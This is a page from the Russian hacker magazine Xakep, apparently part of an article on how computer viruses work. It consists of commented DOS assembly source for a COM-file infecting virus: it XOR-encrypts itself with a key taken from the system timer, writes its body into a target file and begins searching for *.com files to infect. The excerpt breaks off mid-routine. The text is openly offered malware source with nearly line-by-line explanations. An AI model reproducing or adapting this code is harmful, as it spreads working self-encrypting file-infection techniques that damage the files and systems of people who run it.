|

Как работают роботы-убийцы
Xakep, номер #042, стр. 042-046-3
;-----------------------------------------------------------------------------------------
virus_size equ 109 ; переменная [длина вируса]
;-----------------------------------------------------------------------------
code segment 'code' ; сегмент кода
assume cs:code,ds:code ;
org 100h ;
;-----------------------------------------------------------------------------
main: ; Начало вирусной программы
call encrypt_decrypt ; Расшифруем вирусный код
jmp random_mutation ; Перейдем на метку мутации
encrypt_val db 00h ; Переменная [шифрующий/расшифрующий ключ]
;------------------------------------------------------------------------
infect_file:
mov bx,handle ; Возьмем хэндл файла
push bx ; Положим его в стэк
call encrypt_decrypt ; Зашифруем большую часть вирусного кода
pop bx ; Восстановим хэндл
mov cx,virus_size ; Количество байт для записи
mov dx,100h ; Откуда начинать переписывать
mov ah,40h ; Дос функция записи в файл
int 21h ;
call encrypt_decrypt ; Зашифруем код (таким, каким он был)
ret ; Вернемся туда, откуда нас вызвали
; --------------- Функция шифровки/расшифровки ----------------
encrypt_decrypt:
lea bx,virus_code ; С какого места шифруем вирус
xor_loop: ; начало криптования здесь
mov ah,[bx] ; Берем текущий байт
xor ah,encrypt_val ; преобразуем его операцией xor по ключу
mov [bx],ah ; И кладем криптованный/декриптованный байт на место
inc bx ; Переходим к следующему байту
cmp bx,offset virus_code+virus_size; Мы достигли конца файла?
jle xor_loop ; Если нет, то шифруем дальше
ret ; Если до, то вернемся туда, откуда нас вызывали
;-----------------------------------------------------------------------
virus_code:
;------------------------------------------------------------------------------
random_mutation: ;
mov ah,2ch ; Возьмем по таймеру значение
int 21h
mov encrypt_val,dl ; Присвоим это случайное значение ключу
;------------------------------------------------------------------------------
find_com:
xor cx,cx
lea dx,fmask ; Найдем файл по маске *.com
mov ah,4eh ;
int 21h
Назад на стр. 042-046-2 Содержание Вперед на стр. 042-046-4
|